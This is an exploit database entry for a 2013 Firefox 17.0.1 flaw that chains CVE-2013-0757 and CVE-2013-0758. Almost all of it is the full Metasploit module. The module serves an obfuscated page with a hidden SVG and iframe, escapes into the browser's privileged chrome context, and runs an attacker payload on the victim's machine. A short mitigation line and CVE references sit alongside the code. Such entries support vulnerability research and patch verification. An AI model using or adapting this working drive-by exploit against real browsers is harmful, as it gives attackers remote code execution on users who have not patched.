Firefox 17.0.1 Flash Privileged Code Injection

vendor:

Firefox

by:

Rapid7

N/A

CVSS

N/A

Privilege Escalation

264

CWE

Product Name: Firefox

Affected Version From: 17.0

Affected Version To: 17.0.1

Patch Exists: YES

Related CWE: CVE-2013-0757, CVE-2013-0758

CPE: a:mozilla:firefox:17.0.1

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2013

Firefox 17.0.1 Flash Privileged Code Injection

This exploit gains remote code execution on Firefox 17 and 17.0.1, provided the user has installed Flash. No memory corruption is used. First, a Flash object is cloned into the anonymous content of the SVG 'use' element in the <body> (CVE-2013-0758). From there, the Flash object can navigate a child frame to a URL in the chrome:// scheme. Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper around the child frame's window reference and inject code into the chrome:// context. Once we have injection into the chrome execution context, we can write the payload to disk, chmod it (if posix), and then execute.

Mitigation:

Update Firefox to the latest version, disable Flash plugin, and use a browser with built-in sandboxing.

Source

Exploit-DB raw data:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
  # include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  # autopwn_info({
  #   :ua_name    => HttpClients::FF,
  #   :ua_minver  => "17.0",
  #   :ua_maxver  => "17.0.1",
  #   :javascript => true,
  #   :rank       => NormalRanking
  # })

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox 17.0.1 Flash Privileged Code Injection',
      'Description'    => %q{
        This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
        the user has installed Flash. No memory corruption is used.
        First, a Flash object is cloned into the anonymous content of the SVG
        "use" element in the <body> (CVE-2013-0758). From there, the Flash object
        can navigate a child frame to a URL in the chrome:// scheme.
        Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
        around the child frame's window reference and inject code into the chrome://
        context. Once we have injection into the chrome execution context, we can write
        the payload to disk, chmod it (if posix), and then execute.
        Note: Flash is used here to trigger the exploit but any Firefox plugin
        with script access should be able to trigger it.
      },
      'License'        => MSF_LICENSE,
      'Targets' => [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' => 'firefox',
            'Arch' => ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' => %w{ java linux osx solaris win },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Author'         =>
        [
          'Marius Mlynski', # discovery & bug report
          'joev',           # metasploit module
          'sinn3r'          # metasploit fu
        ],
      'References'     =>
        [
          ['CVE', '2013-0758'],  # navigate a frame to a chrome:// URL
          ['CVE', '2013-0757'],  # bypass Chrome Object Wrapper to talk to chrome://
          ['OSVDB', '89019'],  # maps to CVE 2013-0757
          ['OSVDB', '89020'],  # maps to CVE 2013-0758
          ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
        ],
      'DisclosureDate' => 'Jan 08 2013',
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::FF,
        :ua_ver  => /17\..*/,
        :flash   => /[\d.]+/
      }
    ))

    register_options(
      [
        OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
        OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
      ], Auxiliary::Timed)

  end

  def on_request_exploit(cli, request, info)
    if request.uri =~ /\.swf$/
      # send Flash .swf for navigating the frame to chrome://
      print_status("Sending .swf trigger.")
      send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
    else
      # send initial HTML page
      print_status("Target selected: #{target.name}")
      print_status("Sending #{self.name}")
      send_response_html(cli, generate_html(cli, target))
    end
  end

  # @return [String] the contents of the .swf file used to trigger the exploit
  def flash_trigger
    swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
    @flash_trigger ||= File.read(swf_path)
  end

  # @return [String] containing javascript that will alert a debug string
  #   if the DEBUG is set to true
  def js_debug(str, quote="'")
    if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
  end

  # @return [String] HTML that is sent in the first response to the client
  def generate_html(cli, target)
    vars = {
      :symbol_id        => 'a',
      :random_domain    => 'safe',
      :payload          => run_payload, # defined in FirefoxPrivilegeEscalation mixin
      :payload_var      => 'c',
      :payload_key      => 'k',
      :payload_obj_var  => 'payload_obj',
      :interval_var     => 'itvl',
      :access_string    => 'access',
      :frame_ref        => 'frames[0]',
      :frame_name       => 'n',
      :loader_path      => "#{get_module_uri}.swf",
      :content          => self.datastore['CONTENT'] || ''
    }
    script = js_obfuscate %Q|
      var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
      var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
      function $() {
        document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
      }
      function _() {
        return '#{vars[:frame_name]}';
      }
      var #{vars[:interval_var]} = setInterval(function(){
        try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
        catch(e){
          clearInterval(#{vars[:interval_var]});
          var p = Object.getPrototypeOf(#{vars[:frame_ref]});
          var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
          Object.prototype.__lookupSetter__("__proto__").call(p, o);
          p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
        }
      }, 100);
      document.querySelector('object').data = "#{vars[:loader_path]}";
      document.querySelector('use').setAttributeNS(
        "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
      );
    |

    %Q|
      <!doctype html>
      <html>
      <head>
        <base href="chrome://browser/content/">
      </head>
      <body>
      <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
        <symbol id="#{vars[:symbol_id]}">
          <foreignObject>
            <object></object>
          </foreignObject>
        </symbol>
        <use />
      </svg>
      <script>
      #{script}
      </script>
      <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
        name="#{vars[:frame_name]}"></iframe>
      #{vars[:content]}
      </body>
      </html>
      |
  end
end